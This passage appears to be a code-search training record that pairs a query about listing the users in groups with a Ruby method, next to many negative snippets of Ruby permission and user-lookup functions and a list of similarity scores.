end", "def has_access?(permission, user)\n raise UnknownUserException if user.nil?\n AccessProvider.is_action_permitted_for_user?(permission, user)\n end", "def has_permission?(repo, user, permission)\n RepositoryPermissionsService.permission_for(repo, user).try(:permission) == permission.to_s.downcase\n end", "def has_permission?(level)\n return self.id == 220509153985167360 if level == :ink\n my_permission = self.class.bot_owner_permission\n case level\n when :user\n true\n when :moderator\n if self.id == 220509153985167360\n my_permission == :moderator || my_permission == :administrator\n else\n self.role?(469976942003748875) || self.role?(466545066924572674)\n end\n when :administrator\n if self.id == 220509153985167360\n my_permission == :administrator\n else\n self.role?(466545066924572674)\n end\n end\n end", "def has_access?(user)\n return false if user.nil?\n self.user == user || user.is_admin?\n end", "def has_permission?(show, type, any = false)\n return true if self.site_admin?\n\n show_id = show.is_a?(Show) ? show.id : show.to_i\n\n self.permissions.select { |p|\n (p.global? or p.show_id == show_id) and\n (any == true or p.level == :full or p.level == type)\n }.any?\n end", "def has_permission?(permission)\n permissions.include? permission.to_s\n end", "def has_permission?(required_permission)\n return true if self.is_admin\n load_permissions unless self.loaded_permissions.present?\n\n if self.loaded_permissions.include?(required_permission.upcase)\n return true\n else\n return false\n end\n end", "def can_access?(user)\n user == self.user\n end", "def edit_user_permission?(permission)\n edit_user_permission = session.dig(:edit_user, 'permissions')\n return if edit_user_permission.nil?\n\n edit_user_permission.include?(permission)\n end", "def authorize?(user)\n user && user.moderator?\n end", "def has_permission?(permission)\n permission = permission.name if permission.is_a?(Permission)\n my_permissions.include?(permission)\n end", "def authorize?(user)\n required_perm = \"%s/%s\" % [ params[:controller], params[:action] ]\n\n if user.authorized? required_perm\n return true\n end\n\n return false\n end", "def has_permission?(permission:)\n permissions.include? permission.to_sym\n end", "def can?(auth, resource_type = :general)\n has_access_to? :access, resource_type, auth\n end", "def accountant_can_read?(permission)\n session[:usertype].to_s == 'accountant' and session[\"acc_#{permission}\".to_sym].to_i == 1\n end", "def can_authorize?(user, a)\n user != self and may_authorize and\n (abilities | ADMIN_TASKS).include?(a)\n end", "def can?(user, action, subject, *extra_args)\n ability = find_user(user)&.ability || Ability.new\n ability.can?(action, subject, *extra_args)\n end", "def user?\n type == :user_id\n end", "def user?\n type == :user_id\n end", "def check_permissions!(*which)\n Razor.config['auth.enabled'] and user.check_permissions(*which)\n true\n end", "def has_permission?(permission)\n self.permissions.include?(permission)\n end", "def user_permission(instance,current_user)\n\t\tcase instance\n\t\twhen User #IF THAT THING IS A USER, ONLY A USER OR AN ADMIN CAN CHANGE\n\t\t\ttrue if self.admin || instance == current_user\n\t\telse\n\t\t\t#IF THAT THING IS SOMETHING BESIDES A USER, ONLY AN ADMIN OR THE USER THAT THE THING BELONGS TO CAN CHANGE IT\n\t\t\ttrue if self.admin || instance.user == current_user\n\t\tend\n\tend", "def has_permission?(permission)\n permissions.include?(permission)\n end", "def has_access? cls,action\n has_access = true\n cls.each{|c| has_access = false unless all_user_modules.map(&:controller).include?(c)}\n if has_access\n mod = all_user_modules.select{|m| m.controller == cls.last}.first\n has_access = self.permissions.select{|p| p.module_id == mod.id}.map(&:action).include?(action.to_s)\n end\n has_access\n end", "def restricted?\n return ( self.user_type == User::USER_TYPE_NORMAL )\n end", "def check_usertype(user_type, tree)\n error_cleared!\n check_rule_usertype(user_type.to_s, tree, false)\n end", "def can?(klass, *actions)\n actions.each do |action|\n if permissions.find_by(model: klass.to_s, action: action).present?\n return true\n end\n end\n false\n end", "def user_permission\n has_controller_permission?('user')\n end", "def canAccess(type,field,object=nil,args={})\n return false unless @ability[type]\n access = @ability[type].access_permission[field]\n return callSetArgs(access,object,args) if access.respond_to? :call\n access\n end", "def current_user_can(access_types)\n current_user.id == @list.user_id || access_types.include?(current_user.access_to_list(@list))\n end", "def can?(user, level, project)\n can_any?(user, level, [project])\n end", "def canBeExecutedBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights == 1 or @userRights == 5 or @userRights == 7\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights == 1 or @groupRights == 5 or @groupRights == 7\n return true\n else\n return false\n end\n else\n if @othersRights == 1 or @othersRights == 5 or @othersRights == 7\n return true\n else\n return false\n end\n end\n end", "def have_permission?(project, user)\n member = space_memberships.find_by(user: user)\n project.present? && member.lead_or_admin_or_contributor?\n end", "def allows?(action, user)\n case action.to_sym\n when :view then user.may_edit or user == self\n when :edit then user.may_authorize or user == self\n else false\n end\n end", "def get_user_type(user)\n userExists = User.find_by_id(user.id)\n if userExists && user.permission_level == 1\n return \"Admin\"\n elsif userExists && user.permission_level == 0\n return \"Standard\"\n end\n end", "def allowed?(user)\n allowed = (@permissions[user] || []).include?(@jid)\n allowed && exists?(user) && (root? || current?(user))\n end", "def must_belong_to_user_type\n if user_type_class.where(user_id: self.id).empty?\n errors.add(:base, \"User Type object not created: #{user_type_class.to_s}\")\n return false\n end\n\n return true\n end", "def can?(permission)\n permissions.include?(permission.to_s) || super_admin?\n end", "def checked_permission?(permission)\n new_user_permission = session.dig(:new_user, 'permissions')\n return if new_user_permission.nil?\n\n new_user_permission.include?(permission)\n end", "def accountant_can_write?(permission)\n session[:usertype].to_s == 'accountant' and session[\"acc_#{permission}\".to_sym].to_i == 2\n end", "def user_can_see?(user)\n !self.private || self.is_owner?(user)\n end", "def readable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def _accessible? user_or_id, edit_or_view\n # get user id\n user_id = user_or_id.to_i\n # quick response if user is self.agent\n return true if self.agent_id == user_id\n # get user object\n user = user_or_id.is_a?(Fixnum) ? Usage::User.find(user_or_id) : user_or_id\n if user.super?\n return true\n elsif user.agent? or user.manager?\n return true if _accessible_through_family?(user, edit_or_view)\n elsif user.sales_support?\n return true if _accessible_for_sales_support?(user)\n end\n false\n end", "def allow?(type)\n found = (@only.nil?) ? true : lookup(type, @only)\n return false unless found\n\n found = (@except.nil?) ? true : lookup(type, @except)\n return false if found\n\n true\n end", "def access?(user, access)\n\n # check customer\n if user.permissions?('ticket.customer')\n\n # access ok if its own ticket\n return true if customer_id == user.id\n\n # check organization ticket access\n return false if organization_id.blank?\n return false if user.organization_id.blank?\n return false if organization_id != user.organization_id\n\n return organization.shared?\n end\n\n # check agent\n\n # access if requestor is owner\n return true if owner_id == user.id\n\n # access if requestor is in group\n user.group_access?(group.id, access)\n end", "def user_has_permissions?(*permission_set)\n return false if !(@user = authenticate_user)\n \n if !permission_set.is_a? Array\n permission_set = [ permission_set ]\n end\n \n if session[:user_is_superuser]\n for perm in permission_set\n perm = perm.to_s\n session[('user_can_' + perm).to_sym] = true\n end\n return true\n end\n \n for perm in permission_set\n perm = perm.to_s\n session[('user_can_' + perm).to_sym] ||= @user.send('can_' + perm).to_i == 1\n return session[('user_can_' + perm).to_sym]\n end\n end", "def is_user?(_user)\n teacher = _user.class == User ? _user.portal_teacher : _user\n teachers.include? teacher\n end", "def can?(thing)\n return true if admin?\n # Check if user is granted the function\n return true if granted?(thing)\n # Check if user is denied the function\n return false if denied?(thing)\n # Ignore \"System Admin\" function from CSUM/CSEM users\n return false if thing.include?(\"System Admin\")\n roles.include?(thing)\n end", "def has_permission?(perm)\n !permissions.nil? && permissions.include?(perm.to_sym)\n end", "def user_should_be(type)\n unless logged_in?\n store_location\n redirect_to log_in_path and return\n end\n\n return true if current_user.class == type\n redirect_to root_path and return\n end", "def has_permission?(permission)\n current_permissions.include?(permission)\n end", "def has_permission?(perm)\n !permissions.nil? && permissions.include?(perm.to_sym)\n end", "def user_answer_type?(type, user)\n self.answers.exists?(answer: type, user: user)\n end", "def able_to_any?(*required_permissions)\n perms = required_permissions.map(&:to_sym)\n permissions.any? do |p| \n perms.include?(p.name.to_sym) \n end\n end", "def can?(*args)\n permissions.can?(*args)\n end", "def can?\n current_user\n end", "def can_be_accessed_by?(user)\n if visibility == 'public'\n return true\n elsif visibility == 'buddies' && organization.battle_buddy_list.include?(user.organization_id)\n return true\n elsif visibility == 'shared' && buddy_list.split(',').include?(user.organization_id.to_s)\n return true\n elsif visibility == 'executive' && user.is_executive? && organization.users.include?(user)\n return true\n elsif ['private','buddies','shared'].include?(visibility) && organization.users.include?(user)\n return true\n else\n return false\n end\n end", "def canBeReadBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights >= 4\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights >= 4\n return true\n else\n return false\n end\n else\n if @othersRights >= 4\n return true\n else\n return false\n end\n end\n end", "def can_access?\n allows_current_user_access_to? :access\n end", "def moderator?\n permissions == 'moderator'\n end", "def is_user_member? usr\n\t\tif usr\n\t \treturn is_member?(Role.find(usr.role.id))\n\t end\n\t return false\n\tend", "def can_edit_users?\n ['reseller', 'admin'].include?(session[:usertype]) or session[:acc_user_manage].to_i == 2\n end", "def type_authorization?()\n return(true) if(@type == TAC_PLUS_AUTHOR)\n return(false)\n end", "def mayView? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYVIEW ) or ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYVIEW ) or ( special == Dfile::PP_MAYEDIT ) )\n return true\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has special permission but not right one\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has no special permission\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n \n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"no special permissions\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n return false\n end", "def check_permissions\n if @user.is_admin? && !current_user.is_admin?\n respond_to do |wants|\n wants.html { redirect_to console_users_path }\n wants.json { render :json => false, :status => 404 }\n end\n false\n end\n end", "def can_access user\n return self.users.include? user\n end", "def is_admin?\n user_type == 'super_admin' || user_type == 'admin'\n end", "def any_logged_in(user)\n can :export_calendar, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check)\n end\n\n # only matters if read in any_one() is false (ie. user_check is junior)\n can :read, User do |user_check| \n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || user.friends.include?(user_check) || admin_of_users_league?(user, user_check)\n end\n\n # contact details and shit\n can :read_private_details, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || admin_of_users_team?(user, user_check) || admin_of_users_league?(user, user_check)\n end\n\n # ie parent\n can :act_on_behalf_of, User do |user_check|\n user_check.junior? && user_check.parent_ids.include?(user.id)\n end\n\n # TEAM\n can :read, Team do |team|\n team.has_member?(user) || team.primary_league.has_organiser?(user) || can?(:manage_teams, team.tenant)\n end\n\n # currently only used for mobile app, prob should use on web too. TS\n can :read_private_details, Team do |team|\n team.has_member?(user) || (!team.primary_league.nil? && team.primary_league.has_organiser?(user))\n end\n\n can :export_calendar, Team do |team|\n team.has_member?(user)\n end\n\n # Not sure these should be here... Can be inferred from other info (eg. are they in the team)\n # also, they're more about whether it is feasible, rather than whether they're allowed\n # Plus, this is checking the team, and the setting belong to the user. We should just be\n # looking for the settings (if has perms to edit user), and raise invalid id not there. TS\n can :read_notification_settings, Team do |team|\n team.has_associate?(user)\n end\n can :update_notification_settings, Team do |team|\n team.has_associate?(user) \n end\n\n # EVENT\n # only matters is read in any_one gives false\n can :read, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n can :read_messages, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # TODO: remove in favour of :read_private_details\n can :read_all_details, Event do |event|\n can? :read_private_details, Event\n end\n\n # TODO: remove in favour of :read_private_details\n can :view_private_details, Event do |event|\n can? :read_private_details, Event\n end\n\n can :read_private_details, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # SR: Added to mimic\n can :view_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # SR: Added to mimic\n can :read_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # DEPRECATED: this is only used for view code, not actual authorisation, so should be removed from here. TS.\n can :respond_to_invite, Event do |event|\n event.teamsheet_entries.map{|tse| tse.user_id}.include?(user.id) && event.user_id != user.id\n end\n\n can :respond, TeamsheetEntry do |tse|\n # player, event organiser (legacy), parent, or team organiser\n #tse.event.team.has_associate?(user) &&\n (user.id == tse.user_id || tse.event.user_id == user.id || can?(:act_on_behalf_of, tse.user) || can?(:manage, tse.event.team))\n end\n\n can :check_in, TeamsheetEntry do |tse|\n can? :manage_roster, tse.event.team\n end\n\n # ACTIVITY ITEMS\n can :view, ActivityItem\n\n can :create_message_via_email, Event do |event|\n # organiser, or registered player\n # TODO: generalise this set of perms (and refactor to check user has role on team)\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # ACTIVITY ITEM COMMENTS AND LIKES\n can :comment_via_email, EventMessage do |message| \n # if this implementation changes then a test is required\n if message.messageable.is_a? Team \n message.messageable.has_active_member?(user)\n elsif message.messageable.is_a? Event\n can? :create_message_via_email, message.messageable\n end \n end\n\n can :comment_via_email, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message_via_email, event_result.event \n end\n\n can :comment_via_email, User\n can :comment_via_email, Event \n can :comment_via_email, TeamsheetEntry \n can :comment_via_email, InviteResponse\n can :comment_via_email, InviteReminder\n end", "def is_authorized\n (!current_user.nil? and auth_types.include? current_user.user_attributes[:bor_type])\n end", "def can_issue?(user, type = self.type.to_sym)\n Punishment.can_issue?(user, type)\n end", "def can?(permission, object = nil)\n assert_canhaz_object(object)\n assert_permission_not_nil(permission)\n find_canhaz_permission(object, permission).present?\n end", "def check_user_type\n if self.user_type.present?\n self.contractor = self.user_type.to_s.downcase.include? \"contractor\"\n else\n self.contractor = false\n end\n end", "def admin? ; user.instance_of? User and user.role >= 2 ; end", "def acquaintance_rights?(user_to_display)\n allowed_to_view_profile = false\n\n if current_user\n if current_user.id==user_to_display.id || current_user.has_system_role('moderator')\n allowed_to_view_profile = true\n else\n #check if both current user and user to display are facebook users in order to use the friends system\n if current_user.facebook_user? && user_to_display.facebook_user?\n current_fb_user = Facebooker::User.new(current_user.fb_user_id)\n if current_fb_user.friends_with?(user_to_display.fb_user_id)\n allowed_to_view_profile = true\n end\n end\n end\n end\n\n return allowed_to_view_profile\n end", "def has_permission?(permission, context=nil, force_context=nil)\n auth_scope do\n force_context ||= config.force_context\n context = Zuul::Context.parse(context)\n target = target_permission(permission, context, force_context)\n return false if target.nil?\n return permission_role_or_subject_for?(target, context) if force_context\n\n return true if permission_role_or_subject_for?(target, context)\n return true if context.instance? && permission_role_or_subject_for?(target, Zuul::Context.new(context.klass))\n return true if !context.global? && permission_role_or_subject_for?(target, Zuul::Context.new)\n return false\n end\n end", "def check_user(current_user, clearance_level)\n if current_user.nil?\n return false\n end\n if clearance_level == \"admin\"\n return current_user.role == \"admin\"\n end\n if clearance_level == \"chair\"\n (current_user.role == \"admin\" || current_user.role == \"chair\")\n end\n end", "def allow?(principle:, permission:)\n # Check in array order\n ordered_check(principle: principle, permission: permission, owner: owner, group: group)\n end", "def has_permissions?(*required_permissions)\n return true if self.is_admin\n load_permissions unless self.loaded_permissions.present?\n\n required_permissions.each do |r|\n return false unless self.loaded_permissions.include?(r.upcase)\n end\n return true\n end", "def authorize?(user)\n user && user.admin?\n end", "def authorized_for_user?(user)\n is_authorized_for?(user, user.circle)\n end", "def check_permission!( priv, user = User.current )\n\n (priv, associate) = disassemble_priv( priv )\n\n if associate.nil?\n log_text = \"permission check: #{priv} on MISSING associate\"\n logger.warn \"=== FAILED #{log_text}\"\n raise PermissionFailure.new( \"not authorized to #{priv}\",\n :privilege => priv,\n :target => self )\n end\n\n associate_name = associate.class.to_s + ' ' +\n ((associate.has_attribute?(:name)? associate.name : nil) || 'X')\n log_text = \"permission check: #{priv} #{associate_name}(#{associate.id})\"\n\n check_user_set!(user, priv, associate)\n\n log_hash = { \n :model_class => associate.class.name,\n :model_id => associate.id,\n :privilege => priv.to_s,\n :user_id => user.id,\n :user_name => user.name\n }\n\n if !user.can?( priv, associate )\n logger.warn \"=== FAILED #{log_text}\"\n log_hash[:success] = false\n Smartguard::Logging.log( log_hash )\n raise PermissionFailure.new( \"not authorized to #{priv}\",\n :privilege => priv,\n :target => self )\n else\n log_hash[:success] = true\n Smartguard::Logging.log( log_hash )\n logger.debug \"=== #{log_text}\"\n end\n self\n end", "def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end", "def can?( privilege, obj )\n\n return false if privilege == :forbidden_operation # lest wildcards allow it\n\n class_name = obj.class.sg_base_class_name\n class_perms = perms_for_class(class_name) || {}\n\n (class_perms[privilege] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n (class_perms[:any] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n return false\n\n end", "def can?(user, action)\n return false unless @actions.key? action\n user.power_in(@room) >= @actions[action]\n end" ]
[ "0.76405", "0.74002975", "0.7302202", "0.71909004", "0.7122703", "0.7122703", "0.7060094", "0.6965663", "0.69597644", "0.6934207", "0.69318515", "0.68962276", "0.6890043", "0.68846136", "0.68816215", "0.68740445", "0.68721795", "0.68384963", "0.6836824", "0.6824893", "0.6787598", "0.6781136", "0.6752134", "0.6720747", "0.66991127", "0.6687386", "0.66799045", "0.66338664", "0.6632412", "0.6629229", "0.6613305", "0.6595901", "0.6594778", "0.6592342", "0.65816176", "0.65816176", "0.657808", "0.65688133", "0.6566244", "0.6565965", "0.6537533", "0.6531243", "0.6529201", "0.6528053", "0.65130925", "0.64935887", "0.6493364", "0.6475498", "0.64711195", "0.6470916", "0.64658326", "0.64435476", "0.6438871", "0.6431301", "0.6429677", "0.64236677", "0.6409126", "0.6402045", "0.6391754", "0.6386205", "0.63804024", "0.6371934", "0.6368616", "0.636191", "0.63357455", "0.6334648", "0.6331254", "0.63307434", "0.6329439", "0.6317635", "0.63170326", "0.63092256", "0.6299454", "0.62985146", "0.62506825", "0.6245611", "0.62449", "0.6242757", "0.6239796", "0.62365264", "0.6227548", "0.6225148", "0.6210398", "0.6204771", "0.6198867", "0.6192226", "0.618568", "0.6175673", "0.61638105", "0.61563647", "0.6153688", "0.6144799", "0.6136382", "0.6135819", "0.6132219", "0.6131343", "0.6129365", "0.6118196", "0.611711", "0.61139834", "0.6111481" ]
0.0
-1
Do minimal query to enumerate the users in a list of groups. Return as an Array of User instances. Caches result.
def group_users(table) @group_users ||= {} @group_users[table] ||= User.where(id: group_user_ids(table)).to_a end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def users\n Ecore::User.where(\"group_ids LIKE '%#{id}%'\").all\n end", "def users\n Webmail::User.in(group_ids: id)\n end", "def users\n users = []\n members.each do |member|\n if member.is_a? User\n users << member\n elsif member.is_a? UserGroup\n users + member.users\n else\n raise UserGroupException, \"While retrieving users from a user group (#{self}), found a member that was not a User or UserGroup record!\"\n end\n end\n users.uniq(&:id)\n end", "def get_users(user_group_id=nil) \n # {{{\n users = Array.new\n if is_atomic? then return nil end\n if user_group_id.nil? then \n user_group_id = attr['user_group_id'] \n end\n \n own_users = User_Group_Hierarchy.select { |e| \n e.where(\n (e['user_group_id__parent'] == user_group_id)\n )\n e.order_by('user_group_name', :asc)\n }.each { |ugh|\n user = User_Group.select { |ug|\n ug.where(ug['user_group_id'] == ugh.attr['user_group_id__child'])\n ug.order_by('user_group_name', :asc)\n }.first\n if user.is_atomic? then users.push(user) \n else\n users += get_users(ugh.attr['user_group_id__child'])\n end\n }\n \n return users\n \n end", "def users\n GroupMembers.new(:id => id).get.items\n end", "def users\n Ecore::User.find(@user_id, :group_ids.like(\"%#{@id}%\")).receive(:all)\n end", "def find_user_groups\r\n user_group = Group.where(\"id IN (SELECT gu.group_id FROM groups_users gu WHERE gu.user_id = ?)\", User.current.id).all\r\n group_names = []\r\n user_group.each do |group|\r\n group_names << group.lastname\r\n end\r\n return group_names\r\n end", "def recursive_members()\n return @users if @users.present?\n\n # False is the users, true groups\n grouped = member(true).group_by{|g| LdapGroup.dn_is_group? g}\n @users = grouped[false] || []\n groups = grouped[true] || []\n\n cached_groups = {}\n\n groups.each do |g_dn|\n key = dn.rdns.first.values.first\n\n group = cached_groups[key] || LdapGroup.find(g_dn)\n cached_groups[key] = group\n\n group_users = group.member.group_by{ |g| LdapGroup.dn_is_group? g }[false]\n @users.push(*group_users)\n end\n @users\n end", "def list_users\n group_id_param = params[:group_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? || group.leader_id == @current_user.id\n render json: { size: group.users.count, users: group.users.map { |user| user.as_json(only: [:id, :name], include_root: false) } }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't list users. Not owner.\" }, status: :forbidden\n end\n end\n end", "def getUsersForGroup(group_id)\n self.class.get(\"users/user/_search?q=group_id:#{group_id}\")\n end", "def get_users\n users = call(CMD_GET_USERS)[:users]\n users.map {|account| User.new(account) }\n end", "def get_users_in_group(group_id)\n list_users_in_group = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/users\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n user_data = list_users_in_group.parsed_response\n\n arr_of_user_ids = Array.new\n\n user_data.each do |user_data_info|\n arr_of_user_ids.push user_data_info[\"id\"]\n end \n\n return arr_of_user_ids\nend", "def show_Users\n theUsers = User.select{ |user| user.group_id == self.id}\n theUsers\n end", "def index\n @groups_user = GroupsUser.find(params[:id])\n @groups_users = GroupsUser.all\n end", "def users_list\r\n @users_list = User.order_by_asc('name').find(:all, :conditions => [\"group_id <> ?\", Group.get_guest.id])\r\n if params[:users]\r\n @users_list = User.get_user_list params\r\n end\r\n end", "def findAvailableUsers\n @current_group = Group.find_by_id(session[:current_group_id])\n @possible_users = []\n\n # Check if user is included in current group\n User.find_each(:batch_size => 5000) do |pos_user|\n catch :pos_user_cannot_be_added do\n if (!@current_group.users.include?(pos_user))\n\n # Checks if user is already added to another group that exists in the current group's projects\n # (Users should only be added to one group in a single project)\n # --> Possible user is not added to the possible user array if this is the case\n @current_group.projects.find_each(:batch_size => 5000) do |project|\n project.groups.find_each(:batch_size => 5000) do |group|\n if (group.users.include?(pos_user))\n throw :pos_user_cannot_be_added\n end\n end\n end\n @possible_users << pos_user\n end\n end\n end\n end", "def all_users\n self.users +\n User.where(institution: self.institution).\n select{ |u| u.belongs_to_user_group?(self) }\n end", "def users\n user_arr = []\n accounts.each do |s|\n user_arr << User.find(s.user.id)\n end\n user_arr\n end", "def index\n @users = @group.users\n end", "def groups\n UserGroups.new(:id => id).get.items\n end", "def load_users\n @users_not_in_group = User.active.not_in_group(@project_group).limit(100)\n end", "def show\n @group_members = GroupMember.where(group_id:params[:id])\n @users_in_group=[]\n @group_members.each do |f|\n @user = User.find(f[:user_id])\n @users_in_group.push(@user)\n end\n render json: @users_in_group\n end", "def memberships_users\n group_ids_select = memberships.select(:user_id).where(user_type: 'Group')\n\n User.where('id IN (:user_ids) OR id IN (:group_owner_ids)',\n user_ids: memberships.select(:user_id).where(user_type: 'User'),\n group_owner_ids: Group.where(id: group_ids_select).select(:owner_id))\n end", "def index\n @groups = []\n for member in current_user.members\n @groups << member.group\n end\n end", "def view_members()\n a = []\n GroupMember.all.each {|r|\n if r.group_id == @group.id\n a.push(r.username)\n end\n }\n puts a\n end", "def index\n @group = Group.find(params[:id])\n @members = GroupUser.where(:group_id => params[:id])\n end", "def index\n @users = @group.users.page(params[:page])\n end", "def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end", "def users\n @users ||= begin\n users = client.team_members ENV[\"GITHUB_TEAM_ID\"], :per_page => 100\n while client.last_response.rels[:next] && client.rate_limit.remaining > 0\n users.concat client.get client.last_response.rels[:next].href\n end\n users.map { |u| User.new u[:login] }\n end\n end", "def users\n users = Backlogjp.base._command \"getUsers\", self.id\n users.map {|hash| User.new(hash)}\n end", "def all_users\n result = []\n api.search(accounts_dn, ::LDAP::LDAP_SCOPE_SUBTREE, accounts_filter) do |user|\n result << user.to_hash\n end\n result\n end", "def users\n return @canonical_user_pool if @canonical_user_pool\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Retrieving all users\"\n check_retval @user_pool.info!\n\n @canonical_user_pool = []\n @user_pool.each { |user| @canonical_user_pool << canonical_user(user) }\n @canonical_user_pool\n end", "def get_users_from_select(select)\n select = select.reject { |id| id.blank? }\n unless select.blank?\n group_ids = select.select {|group_id| group_id.start_with?(\"g\")}\n users = User.find(select - group_ids)\n group_users = group_ids.map {|group_id| group_id.sub! \"g\",\"\"}\n .map {|group_id| Group.find(group_id).users}\n .flatten\n group_users.concat(users).uniq\n end\n end", "def targeted_users\r\n if groups.any?\r\n target = []\r\n groups.each do |group|\r\n target << group.active_members\r\n end\r\n\r\n target.flatten!\r\n target_ids = target.map{|u| u.id}\r\n\r\n target = User.where(id: target_ids)\r\n else\r\n target = enterprise.users.active\r\n end\r\n\r\n target = target.for_segments(segments) unless segments.empty?\r\n\r\n target.uniq{|u| u.id}\r\n end", "def index\n @user_groups = current_user.users_groups.page(params[:page]).per(20)\n end", "def related_groups_users\n [].tap do |related_users|\n all_groups.each do |group|\n related_users << group.all_users.reject { |group_user| group_user == self }\n end\n end.flatten.uniq\n end", "def member_users(recursive = false)\n @member_users = User.find(:all, distinguishedname: @entry[:member]).delete_if(&:nil?)\n if recursive\n member_groups.each do |group|\n @member_users.concat(group.member_users(true))\n end\n end\n @member_users\n end", "def index\n @groups = Group.all\n @users = User.all\n end", "def core_user_get_users(criteria)\n params = {}\n\n counter = 0\n criteria.each do |key,value|\n params['criteria[' + counter.to_s + '][key]'] = key.to_s\n params['criteria[' + counter.to_s + '][value]'] = value\n counter = counter + 1\n end\n\n response = request(params)\n\n if response['users']\n users = response['users'].map { |user| Hashie::Mash.new(user) }\n end\n end", "def core_user_get_users(criteria)\n params = {}\n\n counter = 0\n criteria.each do |key,value|\n params['criteria[' + counter.to_s + '][key]'] = key.to_s\n params['criteria[' + counter.to_s + '][value]'] = value\n counter += 1\n end\n\n response = request(params: params)\n\n if response['users']\n response['users'].map { |user| Hashie::Mash.new(user) }\n end\n end", "def group_invitable_users\n group = Group.find(params[:group_id])\n @users = User.where(\"LOWER(name) LIKE ?\", \"%#{@query}%\")\n .where.not(id: group.members).limit(10)\n .sort_by { |user| SearchScore.name(user.name, @query) }\n\n render \"users\"\n end", "def test_userlist(groups)\n\t\tUser.joins(:groups).includes(:groups).merge(groups).explain #map {|user| user.name}.to_s.html_safe\n\t\t# User.joins(:groups).merge(groups).map {|user| \"<tr><td>#{user.name}</td><td>#{user.groups.map {|group| group.name}.to_s.html_safe}</td></tr>\"}.uniq.join.html_safe\n\tend", "def users!(access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :GET\n request[:path] = '/mgmt/{{client_id}}/account/users'\n end.execute!\n\n json[:users].map do |user|\n GroupDocs::User.new(user)\n end\n end", "def index\n @usergroups = Usergroup.all\n end", "def safe_for_group(users, group)\n group_users = 